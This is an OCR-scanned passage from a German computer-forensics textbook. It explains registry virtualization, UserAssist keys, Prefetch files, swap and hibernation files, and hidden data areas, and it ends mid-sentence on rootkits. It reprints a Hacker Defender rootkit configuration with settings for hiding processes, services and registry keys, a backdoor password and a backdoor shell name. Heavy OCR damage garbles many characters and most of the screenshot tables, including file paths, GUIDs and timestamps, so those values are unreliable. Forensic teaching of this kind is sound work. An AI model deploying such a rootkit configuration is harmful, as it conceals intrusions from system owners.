Welche Rechnerschnittstellen wurden benutzt?

Gibt es Artefakte, die auf einen Informationsabfluss iiber USB-
Laufwerke oder das Brennen von CD-ROMs hindeuten? Von wel-
chem Nutzerkonto aus wurde ein USB-Stick genutzt?
Zeitstempelanalyse: Korrespondieren die gefundenen Key-Zeit-
stempel mit den Zeitstempeln in den Anwendungen und des Datei-
systems?

Fiir welche Zeitzonen wurde der Rechner konfiguriert? Wurde
die Konfiguration gedndert?

Wurden Zeitstempel in anderen Bereichen manipuliert?

Gibt es auffillige Zeitstempel, die alter sind als das Erstellungs-
datum des letzten Dateisystems oder neuer als das letzte Herun-
terfahren des Systems?

Gibt es Inkonsistenzen bzw. grofle Driften zwischen Zeitstem-
peln untereinander oder in Bezug auf externe Zeitquellen?

Die Anzahl der forensisch relevanten Registry-Keys und die zum Aus-
lesen hilfreichen Werkzeuge wiirden den Rahmen dieses Kapitels
sprengen. Fur die weitere Vertiefung sei dem Leser an dieser Stelle Spe-
zialliteratur zum Thema empfohlen. 1°
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Abb. 5-9
Virtualisierung Beispiel eines

. . . . . . . Spezialwerkzeuges, das
Seit Windows Vista gibt es das Konzept der Registry-Virtualisierung. Registry-Keys auswertet.

Dabei wird dem Anwender auch bei mangelnder Berechtigung ein vir-  Hier UsBDeview'2, das die
tuelles Schreiben in bestimmte Registry-Baume ermoglicht. Microsoft  in der Vergangenheit
mochte damit die Systemstabilitdt erh6hen. Fir den Anwender trans-  angeschlossenen USB-
parent ist der Schliissel aber tatsichlich in einen virtuellen Baum  Devices bersichtlich
geschrieben worden, der physisch im Benutzerverzeichnis des Anwen- ~ darstellt
ders liegt. Dies hat den forensischen Vorteil, dass man das Schreiben
eines bestimmten Registry-Keys einem ganz spezifischen lokalen
Benutzer zuordnen kann.
So schreiben Benutzer, die keine lokalen Administrationsrechte
haben, nicht etwas in HKEY_LOCAL_MACHINE\SOFTWARE, sondern tatsdch-
lich in HKEY_CURRENT USER\Software\Classes\VirtualStore\MACHINE\
SOFTWARE\.
Fiir die Analyse ist es wichtig zu wissen, dass die virtuelle Registry
NICHT in der allseits bekannten NTUSER.DAT gespeichert wird, sondern
in der Datei C:\Users\[Benutzername]\AppData\Local\Microsoft\Win-
dows\UsrClass.dat. Beide Dateien befinden sich im Benutzerverzeichnis
des entsprechenden Users und sollten unbedingt ausgewertet werden.
Von der Virtualisierung sind aber auch einige Registry Keys ausge-
schlossen. Der Zugriff darauf ist ohne Administrationsberechtigungen
nicht moglich:
HKEY LOCAL MACHINE\Software\Classes

HKEY_LOCAL_MACHINE \Software\Microsoft\Windows
HKEY_LOCAL_MACHINE \Software\Microsoft\Windows NT

10. Zum Beispiel »Windows Registry Forensics: Advanced Digital Forensic Analysis of
the Windows Registry«, Harlan Carvey, Syngress Media, 2011, ISBN
9781597495806.

11. http://www.nirsoft.netlutils/usb_devices_view.html
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Tab. 5-1

Die Virtualisierung setzt
sich auch bei den
Verzeichnissen fort.

Das Virtualisierungskonzept findet sich tbrigens auch bei Dateiver-
zeichnissen wieder. Bestimmte Systemordner werden virtuell in das
Benutzerverzeichnis umgeleitet. Fiir den normalen Benutzer ist der
gednderte Zielordner nicht erkennbar — er muss jedoch bei der forensi-
schen Analyse berticksichtigt werden.

\Program Files

\Users\ [Benutzername] \AppData\Local\VirtualStore\Program Files

\ProgramData

\Users\[Benutzername] \AppData\Local\VirtualStore\ProgramData

\Windows

\Users\ [Benutzername] \AppData\Local\VirtualStore\Windows

5.8 Windows UserAssist Keys

Ein weiteres Windows-Artefakt, das fiir die Computer-forensische
Analyse relevant ist, sind die UserAssist Keys. Die UserAssist Keys
geben Auskunft tiber die auf einem System gestarteten Anwendungen
und auch dartuber, welche Schaltflichen im Windows-Explorer
gedriickt wurden. Die UserAssist Keys befinden sich auf der Festplatte
im benutzerbezogenen Registry-Hive NTUSER.DAT unter

Software\Microsoft\Windows \CurrentVersion\Explorer\UserAssist

bzw. beim Zugriff auf die Registry eines laufenden Systems unter

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAs-
sist.

Der Windows-Explorer listet die hidufig verwendeten Programme in
einem bestimmten Bereich des Startmeniis auf. Diese Informationen
sind in den UserAssist Keys enthalten.

Das Tool UserAssist'? von Didiers Stevens zeigt alle in den User-
Assist Keys enthaltenen Informationen tuber die gestarteten Programm
an. Es konnen damit sowohl die lokale aktive Registry als auch Regis-
try-Dateien ausgewertet werden.

UserAssist stellt die in Rot13 verschliisselten Daten tibersichtlich
dar und bietet eine Exportmoglichkeit als CSV-Datei. Wir koénnen
damit sehen, wie hiufig die Datei aufgerufen wurde und zu welchem
Zeitpunkt zum letzten Mal. Es sind auch Tasteneingaben im Win-
dows-Explorer, wie z.B. » Verzeichnis eine Ebene hoch«, auslesbar. Die
grofSen kommerziellen integrierten Forensik-Werkzeuge konnen die
UserAssist Keys ebenfalls auslesen, das o.g. Tool macht es aber schnell
und einfach.

12. http://blog.didierstevens.com/programs/userassist/
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Das Erstellen der UserAssist Keys kann tiber die Registry deaktiviert
werden. Standardmifig ist der entsprechende Registry Key aber akti-
viert.

Der Vollstindigkeit halber sei hier auch erwihnt, dass es gerade bei
der Analyse von Gebrauchsspuren eines Windows-Systems noch viel-
faltige Artefakte gibt, deren ausfiihrliche Behandlung den Rahmen die-
ses Buches sprengen wiirde. Der interessierte Leser kann sich aber tiber
die empfohlene Literatur u.a. mit Recent-LNK-Dateien und Jump-List
beschiftigen.!3

5.9 Windows Prefetch-Dateien

Ein bislang nicht stark beachtetes Feature unter Windows ist das soge-
nannte Prefetching. Dieser Mechanismus ist seit Windows XP vorhan-
den und soll den Startvorgang des Betriebssystems sowie von Anwen-
dungen beschleunigen. Die Prefetch-Funktionen werden durch den
Memory Manager gesteuert. Seit Windows Vista wurde Prefetch um
die beiden Funktionen SuperFetch und ReadyBoost erweitert. Der
Memory Manager iiberwacht, welche Programme wihrend des Boot-

13. Harlan Carvey, Windows Registry Forensics: Advanced Digital Forensic Analysis
of the Windows Registry, Syngress Media, 2011, ISBN 9781597495806.
Harlan Carvey, Windows Forensic Analysis DVD Toolkit, Syngress Media,
2. Auflage, 2009. ISBN 9781597494229.

~. UserAssist 2.4.3.0 M=)
Commands  Help
Key Index | Name Session Counter Last Last UTC| |&

{75048700-EF1F-11D0-9888-006097DEACFS} 3 UEME_RUNPATH 253 1456 20.05.2011 00:44:02 29.05.2011 2244:02
{75048700-EF1F-1100-9865-006097DEACFI} 30 UEME_UIQCUT 253 535 31.05.2011 00:18:34 30052011 22:18:34
{75048700-EF 1F-11D0-9888-006037DEACFS} 14 UEME_WISCUT 253 571 30.05.2011 00:43:55 29.06.2011 22:43:55
{75048700-EF1F-11D0-9888-006097DEACF} 2 UEME_RUNPIDL 252 340 29.05.2011 23.46:37 29.05.2011 21:46:37
{75048700-EF1F-1100-9865-006097DEACFS} 17 UEME_RUNPATH:[null] 244 300 17.02.2011 22:26:58 17.02.2011 21:26:58
{75048700-EF 1F-11D0-9888-006037DEACFS} 25 UEME_RUNPATH:Verknl)pfung mit misc.Ink 246 280 20022011 16:45:21 20022011 15:45:21
{75048700-EF1F-11D0-9888-006097DEACF S} 107 UEME_RUNPATH:MW:\Dperatopera.exe 243 92 16.02.2011 21:30:44 16.02.2011 20:30:44
{75048700-EF1F-1100-9865-006097DEACFS} 55 UEME_RUNPATH:C.\ProgrammeSKC SoftwareshSUMobSUbo exe 251 34 21.05.2011 2315:35 21.06.2011 21:15:35
{75048700-EF 1F-11D0-9885- 006037 DEACF} 7 UEME_RUMNCFL 251 21 21.05.2011 23.15:46 21.06.2011 21:15:46
{SERAB7A0-7743-T1CF-A128-00AAN04AEB37) 2 UEME_UITOOLBAR 213 14 15122010 00:13:51 14122010 231951
{75048700-EF1F-11D0-9865-006097DEACFS} 100 UEME_RUNPIDL:C:\D okumente und EinstellungensAdministrators D esktophS1U 243 3 16.02.2011 09.41:03 16.02.2011 08:41:03
{SEBABTE0-7743-11CF-412B-00AA004AE B37) 3 UEME_UITOOLBAR:01.120 213 8 13122010 22:46:25 13122010 21:46:25
{75048700-EF1F-1100-9888-006097DEACFS} 85 UEME_RUNCPL"C:AWINDOWShsystem32happiiz.cpl* Softwars 250 [ 21.05.201112:28:27 21.06.2011 10:28:27
{75048700-EF1F-11D0-9885-006087DEACFA} 50  LEME_RUNPATH:: {20004FE0-34EA-1063-4208-08002B 303090 n 5 16.02.2003 10:16:04 16.02.2003 08:16:04
{SEBABTE0-7743-11CF-412B-00AAN044E 837} 5 UEME_UITOOLBAR.01.125 2 4 02022009 21:28:01 02.02.2009 20:28:0
{75048700-EF1F-1100-9888-006097DEACF} 5 UEME_RUNCPL"CAWINDOWS apstemn325hdumaiz.cpl Hardware: 12 4 22022009 16:27:58 22.02.2003 15:27:58
{75048700-EF1F-1100-9885-006087DEACFA} 16 UEME_RUNPATH:Verknlpfung mit 130 Ink 2 4 02.02 2003 22:35:32 02.02.2003 21:35:32
{75048700-EF 1F-11D0-9888-006037DEACFS} 21 UEME_RUNPATH::{645FF040-5081-101E-9F 03-0044002F 354E 246 4 20022011 16:47:47 20.02.2011 15:47:47
{75048700-EF1F-11D0-9888-006097DEACFS} 138 UEME_RUNPIDL: Z%csidi2%\FRITZIFemzugang 218 4 11.12.201016:38:12 11.12.2010 15:38:12
{75048700-EF1F-1100-9885-006087DEACFA} 133 UEME_RUNPATH-{A73402B0-3450-426 8-8EBE-00597 3208 8E 0} 218 4 11122010 16:38:12 11122010 16:38:12
{75048700-EF1F-11D0-9855-006037DEACF} 173 UEME_RUNWPATH:Eraser.Ink 247 4 20022011 18:16:05 20.02.2011 17:16:05
{SERAB7A0-7743-T1CF-A128-00AAN04AEB37) 6 UEME_UITOOLBAR:01.130 213 3 15122010 00:13:51 14122010 231951
{75048700-EF1F-1100-9885-008087DEACFA} 23 UEME_RUMPIDL %csidl2%\Divid 210 3 2411.201018:27.27 2411.201017:27:27
{75048700-EF1F-11D0-9888-006037DEACFS} 152 UEME_RUNWPATH:C:\Programme’Foxit Software\Foxit Reader\Foxit Reader exe 250 3 21.05.2011 12:32:25 21.068.2011 10:32:25
{75048700-EF1F-1100-9888-006097DEACF} 172 UEME_RUNPATH:C:\ProgrammetdcoessD atate TK ImagerFTE Imager exe 252 3 29052011 18:58:49 29.05.2011 16:58:43
{75048700-EF1F-1100-9885-006087DEACFA} 174 UEME_RUNPATH:Merknlpfung mit TOTALCMD. EXE Ink 253 3 30.05.2011 00:44:00 28.06.2011 22:44:00
{75048700-EF1F-11D 09888006037 DEACFS} 175 UEME_RUNPATH:C:\ProgrammeMtotalemdi TOTALCMD EXE 253 3 30.05.2011 00:44:03 29.00.2011 22:44:03
{75048700-EF1F-1100-9886-006097DEACF} 176 UEME_RUNPATH:C:\Programme’E rasenEraser e 247 3 20022011 18:16:05 200220171 17:16:05
{75048700-EF1F-11D0-9885-006037DEACFA} 183 UEME_RUNPATH:AccessData FTK Imager Ink 252 3 23052011 18.58:48 28.06.2011 16:58:48
{SEBABTE0-7743-11CF-412B-00AANN4AE 837} 1 UEME_CTLCUACount ctor 1 2

{75048700-EF1F-1100-98686-006097DEACFS} 1 UEME_CTLCUACount chor 1 2

{75048700-EF1F-1100-9885-006087DEACFA} B UEME_RUNPATH.CAWINDOWS \system324undli32 exe 230 2 07.01.201113:18:37 07.01.2011 12:18:37
{75048700-EF1F-11D0-9858-006037DEACF3} 24 UEME_RUMNPATH:T otal Commander.Ink. 2 2 03.02,2009 00:07:36 02,02.2003 23:.07.36
{75048700-EF1F-1100-9886-006097DEACF} 28 UEME_RUNPIDL Zcsidl2%\E raser 150 2 1305.201012:35:10 13062010 10:35:10
{75048700-EF1F-1100-9885-006037DEACFA} 31 UEME_RUMNPIDL %csidl2%\Divi\Divi< CodechReadMe Ink 4 2

{75048700-EF1F-11D0-9888-006037DEACFS} 32 UEME_RUNPIDL %csidl2%\Divi\Divi< Codec’Produkte registieren.Ink. 4 2

{75048700-EF1F-1100-9888-006097DEACF} 33 UEME_RUNPIDL %csidl2%5Divi\Divi CodachLizenz. Ink 4 2

{75048700-EF1F-11D0-9885-008097DEACFA} 34 LEME_RUMNPIDL %csidl2%\DiviX\Divi< CadecLinks 4 Z

{75048700-EF1F-11D0-9888-006037DEACFS} 35 UEME_RUNPIDL %csidl2%\Parallels Shared ApplicationstUninstall Divi< for Ma... 4 2

|_{7R04970N.FF1F.11NN.9ARA.NNANG 7N 4 CFIL A7 VLEME _BIMNPIN % e eidi228 Paraliale Charsd donlicatinne Dindd Sonnart (a0 Ink 4 2 14
Abb. 5-10

Das Programm UserAssist
zeigt alle Informationen
liber hdufig benutzte

Anwendungen an.
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vorgangs gestartet werden und welche Bibliotheken dafiir notwendig
sind. Diese Informationen werden in eine Protokolldatei geschrieben.
Oft werden Bibliotheken mehrmals benétigt, aber nicht immer die glei-
chen Bestandteile. Das mehrfache Laden in den Speicher kann zu Ver-
zogerungen fithren. Um Bibliotheken nicht mehrfach laden zu missen,
werden diese dann vorauseilend geladen und im Speicher gehalten. Die
fiir das Prefetching beobachteten Dateien werden dann regelmifSig an
einen glinstigen physischen Ort auf die Festplatte verschoben.

Der Boot Prefetcher analysiert das Ladeverhalten des Systems, 30
Sekunden nachdem die User Shell gestartet wurde oder 60 Sekunden
nachdem alle Dienste hochgefahren sind oder 120 Sekunden nachdem
das System gestartet wurde. Der Prefetcher beendet seine Analyse,
wenn eines der drei Ereignisse eingetreten ist. Application Fetching
funktioniert dhnlich, nur wird hierbei das System lediglich 10 Sekun-
den nach dem Start einer Anwendung auf Bibliotheken und Zusatzpro-
grammen Uberpriift.

Der Prefetcher speichert seine Informationen im Verzeichnis \Win-
dows\Prefetch des Systemlaufwerks. Fiir jede analysierte Anwendung
gibt es eine Prefetch-Datei mit der Endung .pf. Der Dateiname setzt
sich aus dem Dateinamen der ausgefiihrten, beobachteten Daten und
einem Hashwert des Pfades zu dieser Datei zusammen. Somit ergeben
Dateien, die aus unterschiedlichen Verzeichnissen gestartet werden,
aufgrund eines anderen Hashwertes auch unterschiedliche Prefetch-
Dateien. Jede einzelne Prefetch-Datei enthilt die Anzahl der Aufrufe,
das Aufrufverzeichnis, den Zeitpunkt des letzten Aufrufs und die nach-
geladenen Bibliotheken.

Die Boot-Prefetching-Datei heifSt immer NTOSBOOT-BOODFAAD. pf und
wird auch im Prefetch-Ordner abgelegt. In dieser Datei finden sich alle
Komponenten, die wahrend des Bootvorgangs gestartet werden. Die
Inhalte der Prefetch-Dateien werden von Zeit zu Zeit in die Datei \Win-
dows\Prefetch\layout.ini iibertragen. Diese Informationen werden
durch das Defragmentierungstool genutzt, um Dateien optimal auf der
Festplatte anzuordnen.

Diese Informationen konnen komfortabel mit Hilfe von X-Ways
Forensics tiber die »Preview-Funktion« oder mit speziellen Werkzeu-
gen wie dem Windows FileAnalyzer oder WinPrefetchView!* ange-
zeigt werden.

14. bttp:/lwww.nirsoft.net
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FF| WinPrefetchView

[B0][=1%

File Edt Wiew Options Help

XEHEaE YA

Filename Created Time Modified Time: File Size Process ERE Process Path Run ... Last Run Time b
ijVWSC‘EXE-Z‘)ElZQES‘pF 20,01.2010 16:3,.,  30.05.2011 00:4..,  39.180 AWWSC EXE CHPROGRAMME) Aviral ANTIVIR DESKTOR\aww,., 2,297 30.05,2011 00:44:27
EVERCLSIDEXE%E@?BD... 02,02,2009 00:3..,  30.05.201100:4... 15020 VERCLSID.EXE CAWINDOWSisystem3Zverdsid.exe 1,339 30.05,2011 00:48:57
EWMIPRVSE.EXE-ZEFSD... 02.02,2009 00:3... 29.05.2011 18:5...  48.506 WHMIPRYSE.ERE CHwWINDOWSsystem3zZiwbemiwmiprvse exe 523 29.05,2011 18:5%:00
EWUAUCLT.EKE'SQQRSEM 02,02,2009 00 21.05.2011 18 7Z.414 WUALCLT.ERE CAWINDOW St system3Ziwuaudlk. exe 486 21.05.2011 18:22:07
.__')GOOGLELIPDATE‘EXE-D‘ . 13.05.2010 1, 29.05.2011 22 31.660 GOOGLEUPDATE EXE  C:ADOKUMENTE UND EINSTELLUNGEN|ADMINL... 345 29.05.2011 22:58:00
lﬂUPDATE.EKEGSQBFCD... 20,01,2010 1 29.05.2011 17 61,388 UPDATE.ERE CIPROGRAMME\Aviral ANTIVIR DESKTOPiupd... 160 29.05.2011 17:40:05
EWMIAPSRV{XE-!EZZTH 16.04.2010 1 15.03.2011 15 30,850 WHMIAPSRY.EXE CHwWINDOWSsystem3Ziwbemiwmiapsry exe a0 15.03.2011 15:3%:54
@AVNOTIFVEXE'SID?EB... 20.01,2010 16:3, 29.05.2011 17 56, 464 AWMOTIFY, EXE CAPROGRAMME)Aviral ANTIVIR DESKTOP awn... 89 29.05.2011 17:40:12
ELOGONUI‘EXE-DAFZZQ... 07.11,2010 03 29.05.2011 23 21,422 LOGONUT.EXE CHwWINDOWSisystem32ilogonui.exe 55 29.05.2011 23:46:45
EPRL_TOOLS.EXE'IUDB? o 07.11.2010 0 29.05,2011 23 12,872 PRL_TOOLS.ERE CIPROGRAMME\PARALLELSIPARALLELS TOOL... 47 29.05,2011 23:47:08
j’._?j}MSIEXEC.EXE-ZFEASCAM 16.02.2011 1 21.05.2011 12 145.334 MSIEXEC.EXE CHWINDOWSsystem3Zimsiexec, exe 24 21.05.2011 12:29:49
BSVCHOST‘EXE'353UF67M 19.02,2011 1 30.05.2011 00 25,714 SVCHOST.EXE CAWINDOW St system3zZ)svchost exe 16 30,05.2011 00:44:09
EREGSVRBZ.EXE-ZSEEFE... 15.03.2011 1 21.05.2011 12 24,754 REGSVR32.EXE CHwWINDOWSisystem3Ziregsvriz.exe 13 21.05.2011 12:28:55
lﬂWMIADAP.EKE'ZDF4Z5m 19.04,2011 2 30.05.2011 00 16,774 WHIADAP.ERE CAWINDOW St system3Ziwbemiwmiadap.exe 13 30.05.2011 00:45:11
@ CHROME.EXE-37136B6... 19.04.201121:4...  29.05.2011 22:5... 114,992 CHROME.EXE CHDOKUMENTE UND EINSTELLUNGEMIADMINI... 12 29.05.2011 22:55:31 ¥
Filenarme Full Path Device Path Index »
A $mFT CH\PROGRAMME)WINDOWS WTYZubeher.., \DEWICE\HARDDISKVOLUMEL\EMET 33
CHWINDOWSsystemazladvapiaz.di \DEVICE|HARDDISKYOLUME 1\ INDOWSSYSTEMAR) ADYAPTA2 DLL 11
CIPROGRAMMENAviral ANTIVIR DESKTO...  \DEWICE\HARDDISKYOLUME1\PROGRAMMEAVIRA\ANTIVIR DESKTOPYANTIVIR, OEM 44
EAVGUARD‘EXE CHPROGRAMME) Aviral ANTIVIR DESKTO...  \DEVICE\HARDDISKYOLUME 1Y PROGRAMMEIAVIRALANTIVIR DESKTORIAVGLIARD, EXE 54
j AVIPC.DLL CIPROGRAMME)Aviral ANTIVIR DESKTO...  \DEWICE\HARDDISKYOLUME1\PROGRAMMEAVIRA\ANTIVIR DESKTOPYAVIPC.DLL 53
l&AVWIN‘INI CHDOKUMENTE UND EINSTELLUNGEM\A...  \DEYICE\HARDDISKYOLUME 13 DOKUMENTE UND EINSTELLUNGEM\ALL USERS\ANWENDUNG... 43
@AVWSC‘EXE CIPROGRAMME)Aviral ANTIVIR DESKTO...  \DEWICE\HARDDISKYOLUME1\PROGRAMME]AVIRA\ANTIVIR DESKTOPIAYWSC.ERE S
j CCGRDRC.DLL CHPROGRAMME | Aviral ANTIVIR DESKTO...  \DEYICE\HARDDISKYOLUME1\PROGRAMMEIAVIRALANTIVIR DESKTORYCCGRDRC.DLL 51
,ﬂ. CCGRDwW.DLL CIPROGRAMME)Aviral ANTIVIR DESKTO...  \DEWICE\HARDDISKYOLUME1\PROGRAMME}AVIRA\ANTIVIR DESKTOPYCCGRDW DLL sz
jCCGLIARD.DLL CHPROGRAMME) Aviral ANTIVIR DESKTO..,  \DEVICE\HARDDISKYOLUME 1Y PROGRAMMEI AVIRALANTIVIR DESKTORYCCGUARD.DLL 45
ﬂ COWRRLIE.DLL CIPROGRAMME\Aviral ANTIVIR DESKTO...  \DEWICE\HARDDISKYOLUME1\PROGRAMME) AVIRALANTIVIR DESKTOPYCCWKRLIB.DLL 49
ﬂCFGLIE.DLL CHPROGRAMME) Aviral ANTIVIR DESKTO...  \DEVICE\HARDDISKYOLUME 1\ PROGRAMMEIAVIRAVANTIVIR DESKTOR|CFGLIE.DLL 50
|2 CLBCATQ.DLL CHAWINDOWSsystem3ziclbeatg.di \DEWICE|HARDDISKYOLUME 1\ INDDWS\SYSTEMIZY CLBCATQOLL 58
j COMCTL32.DLL CHwWINDOWSisystem32icometi32, dil \DEYICEIHARDDISKYOLUME 1) W INDOWY S SYSTEM32) COMCTLIZ, DLL 15
Sl comense.ou CAWINDOWSIWINS=51286 MICROSOFT... \DEWICE\HARDDISKVOLUMEL WINDOWS\WINSXSAXES MICROSOFT WINDOWS. COMMON-.. 25 _ L]
98 Files, 1 Selected lirSoft Freeware. http:/www.nirsoft.net
Abb. 5-11
Uber den Registry Key HKLM\System\ControlSet00X\Control\Session  Die Prefetch-Dateien
Manager\Memory Management\Prefetch Parameters lassen sich Boot und  geben ausfiihrlich
Application Prefetching deaktivieren. Auskunft iiber
nachgeladene

Schlisselwert Funktion

0 Boot und Application Prefetching
sind deaktiviert

1 Nur Application Prefetching ist
aktiviert

2 Nur Boot Prefetching ist aktiviert | Standardeinstellung bei

Windows2003

3 Boot und Application Prefetching | Standardeinstellung bei

sind aktiviert Windows XP, Vista und 7

Nach Analyse der Prefetch-Dateien konnen
einzelner Anwendungen gesammelt werden. Dies ist hilfreich, wenn
man tber den Nutzungsgrad lokaler Anwendungen mehr erfahren

mochte.

Durch die Existenz von Prefetch-Dateien kann nachgewiesen wer-
den, dass Programme auf dem Rechner vorhanden waren und ausge-
fithrt wurden, auch wenn diese zwischenzeitlich schon wieder vom
Rechner entfernt wurden. Auch moglicherwiese von einem USB-Stick

Laufzeitinformationen

gestartete Anwendungen lassen sich somit identifizieren.

Komponenten wéhrend

eines Startvorgangs - hier
mittels WinPrefetchView

angezeigt.

Tab. 5-2
Der Prefetching-

Mechanismus Idisst sich

iiber die Registry
konfigurieren.
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Swap File und Page File

Hibernation-Dateien

Durch den Creation-Timestamp der Prefetch-Dateien kann festge-
stellt werden, wann die Anwendung das erste Mal gestartet wurde.

Der Modification-Timestamp der Prefetch-Datei zeigt den letztma-
ligen Start der Anwendung, wobei diese Information ja in der Datei
selbst enthalten ist.

5.10 Auslagerungsdateien

Viele Betriebssysteme bieten zur Erweiterung des physisch nutzbaren
Speicherbereichs oder auch zur Auslagerung kurzfristig nicht benotig-
ten Speicherinhalts sogenannte Auslagerungs- bzw. Swap-Dateien. Je
nach Betriebssystemvariante konnen diese Swap-Bereiche nicht nur als
einfache Datei vorhanden sein, sondern auch als virtuelles oder auch
physisches Dateisystem existieren.

Windows-basierte Computer verwenden eine spezielle Datei, wenn
zusdtzlicher virtueller Speicher benotigt wird. Bei Windows 95 oder 98
heift diese Datei Swap File. Unter den Folgeversionen von Windows
wird diese Datei Page File genannt. Diese Dateien sind in der Regel sehr
grof§ (1,5- bis 3-fache GrofSe des physisch vorhandenen Hauptspei-
chers) und werden von einem normalen Anwender in der Regel nicht
wahrgenommen. In diesen Dateien konnen sich aus forensischer Sicht
viele interessante Informationen aus der letzten Windows-Session fin-
den (z.B. Fragmente von E-Mails bzw. bearbeiteten Dateien) oder
Daten der aktuell laufenden Anwendungen. Diese Dateien konnen oft
Informationen enthalten, die der Anwender lingst vergessen geglaubt
hatte, da die zugehorige Applikation schon vor geraumer Zeit beendet
wurde. Aus diesem Grund ist es fiir einen Ermittler wichtig, diese
Dateien ebenfalls einer genauen Analyse zu unterziehen. Hierbei ist
aber darauf zu achten, dass diese Auslagerungsdateien beim Shutdown
des Betriebssystems nicht geloscht werden. Dies ist in die Entscheidung,
ob ein kompromittiertes System ordnungsgemafl heruntergefahren
oder einfach ausgeschaltet werden soll, einzubeziehen.

Einen Sonderfall stellen Dateien dar, die vom Betriebssystem oder
von spezieller Zusatzsoftware verwendet werden, um den Inhalt des
Hauptspeichers vor dem Eintritt in den Ruhezustand bzw. Suspend-to-
Disk-Modus zu sichern, sodass er nach dem Wake-up wieder zur Ver-
figung steht. Selbstverstindlich finden sich auch in diesen Dateien
auswertbare Informationen. Diese Thematik ist gerade bei der Analyse
von Notebooks von besonderem Interesse. So wird beispielsweise die
Datei hiberfil.sys im Wurzelverzeichnis des Systemlaufwerks erstellt,
wenn der Ruhezustand eines Windows-Systems aktiviert wird. Warum
ist diese Datei fiir Computer-forensische Untersuchungen von Inter-
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esse? Wird ein Windows-System in den Ruhezustand gebracht, wird
fast der komplette Hauptspeicherinhalt des laufenden Systems in die
Datei hiberfil.sys geschrieben. Diese Datei kann dann fiir die RAM-
Analyse herangezogen werden, wenn man auf einem Datentriger-
Image diese Datei antrifft. Es handelt sich hierbei um einen Snapshot
des laufenden Systems, der so lange auf der Festplatte gespeichert ist,
bis der nichste Ruhezustand eingeleitet wird. Unter Umstinden sind
hier auch Aussagen tiber lange zuriickliegende Vorginge moglich.

5.11 Versteckte Dateien

Wie bereits geschildert, ist ein Festplattensektor ein Speicherbereich mit
einer festen Grofle (z.B. 512 Bytes). Altere Festplatten verfiigen unter
Umstinden in den dufSeren Bereichen Giber ungenutzten Speicherplatz.
Dies resultiert aus der Tatsache, dass jede Spur auf diesen Festplatten
uber die gleiche Anzahl von Sektoren verfiigt. Zur Verdeutlichung sind
in Abbildung 5-12 eine Festplattenspur in hellgrau und ein Sektor in
dunkelgrau dargestellt. Es ist klar zu sehen, dass ein Sektor im inneren
Bereich kleiner ist als im dufSeren Bereich der Festplatte.

Abb. 5-12
Aufteilung einer Festplatte
in Sektoren

'I."||||I||||} |
’.' | ;J I.I [ II.'I | |II| IIIII

Da die Spuren in den inneren Bereichen der Festplatte kiirzer sind als  Sector Gaps
am dufleren Rand, ergibt sich wegen der konstanten Sektoranzahl

mehr unbenutzter Speicherplatz in den dufSeren Bereichen dieser Fest-

platten. In diesen Sector Gap genannten Bereichen konnen auch Daten

versteckt werden. Durch spezielle Mapping-Technologien wird der

freie Sektorbereich jedoch in modernen Laufwerken minimiert.

Ein physisches Laufwerk kann mittels spezieller Werkzeuge wie  Partition Gaps

fdisk oder Partition Magic in mehrere logische Laufwerke eingeteilt
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Bad Blocks

Hidden-Attribut

Punkte zu Beginn
des Dateinamens

werden. Dies wird sehr hiufig bei grofSeren Festplatten gemacht,
sodass man logische Laufwerke wie z.B. C:, D: oder E: erhilt. Diese
auch Partitionen genannten Bereiche konnen natirlich auch unter-
schiedliche Betriebssysteme enthalten. Wenn mehrere solcher Partitio-
nen eingerichtet sind, ist es moglich, dass es zwischen diesen Partitio-
nen Lucken gibt. Sie werden auch als Partition Gaps bezeichnet und
konnen fiir die Datenspeicherung missbraucht werden. In diesen Gaps
lassen sich auch Spuren fritherer Partitionen finden, wenn das Festplat-
tenlayout verdndert wurde. Die unpartitionierten Bereiche und die
eventuell vorhandenen Partition Gaps sind in eine griindliche Untersu-
chung einzubeziehen.

Wird ein Datentriager Low-Level-formatiert, werden die tatsdch-
lich geschriebenen Daten mit den zu schreibenden Daten verglichen.
Dieser Vergleich wird bitweise durchgefihrt. Besteht ein Datenblock
diese Validierung nicht, wird er als sogenannter Bad Block markiert.
Die Markierung soll verhindern, dass in Zukunft Daten in diesen
unbrauchbaren Bereich geschrieben werden. Auch wenn diese Bereiche
augenscheinlich vom Betriebssystem dann nicht mehr verwendet wer-
den, konnen Bad Blocks auch fir die Speicherung von versteckten
Informationen verwendet werden.

Viele Betriebssysteme bieten zusitzliche Moglichkeiten, Dateien
und Verzeichnisse zu verstecken. Unter Windows oder DOS kann das
Hidden-Attribut gesetzt werden, um Dateien zu verstecken (mit der
Option -h oder iiber das Datei-Eigenschaften-Menii). Dateien mit
gesetztem Hidden-Attribut sind mit einem einfachen dir-Befehl oder
mit dem Explorer in der Standardkonfiguration nicht zu sehen. Mit
dem Befehl attrib oder dem Andern der Einstellung des Explorers
kann man diese versteckten Dateien aber sofort sehen.

Unter Unix sind Dateien und Verzeichnisse nicht sichtbar, die mit
einem Punkt beginnen. Durch das Anfiigen der Option -a an den 1s-
Befehl sind aber auch diese wieder sichtbar.

Rootkits

Rootkits konnen Dateien und Verzeichnisse wesentlich effizienter vor
einer lokalen Untersuchung verbergen. Zusitzlich lassen sich bei
Bedarf bestimmte Prozesse oder wie bei NT-Rootkits Registry-Eintrage
verstecken. Dies nutzen Angreifer aus, um zu verhindern, dass die eige-
nen Tools, bestimmte Prozesse oder Netzverbindungen entdeckt wer-
den. Sinnvolle Untersuchungen an einem laufenden System sind
dadurch nahezu unmoglich.
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[Hidden Table]
hxdef*
rcmd. exe

[Root Processes]
hxdef*
rcmd. exe

[Hidden Services]
HackerDefender*

[Hidden RegKeys]
HackerDefender073
LEGACY_HACKERDEFENDERO73

[Hidden RegValues]

[Startup Run]

[Settings]
Password=hxdef-rulez
BackdoorShel1=hxdefB$.exe
ServiceName=HackerDefender073

DisplayName=HXD Service 073
ServiceDescription=powerful NT rootkit

Abb. 5-13 Konfigurationsdatei eines Rootkits. In diesem Beispiel werden alle Prozesse
verborgen, die mit dem String »hxdef« beginnen. Ebenso taucht der Service »HackerDefender«
nicht auf. Die Registry Keys » HackerDefender073« und »LEGACY_HACKERDEFENDERO7 3«
bleiben ebenfalls verborgen.

Dateien, die lokal nicht sichtbar sind, konnen aber sehr gut tiber ein
gemountetes Share oder in einem forensischen Duplikat eingesehen
werden, da hierbei eigene und sichere Systemdateien verwendet werden.

Das Linux Root Kit V (LRKS) enthilt zum Beispiel die trojani-
schen Pferde: du, find, ifconfig, killall, Togin, netstat, pidof, ps, sys-
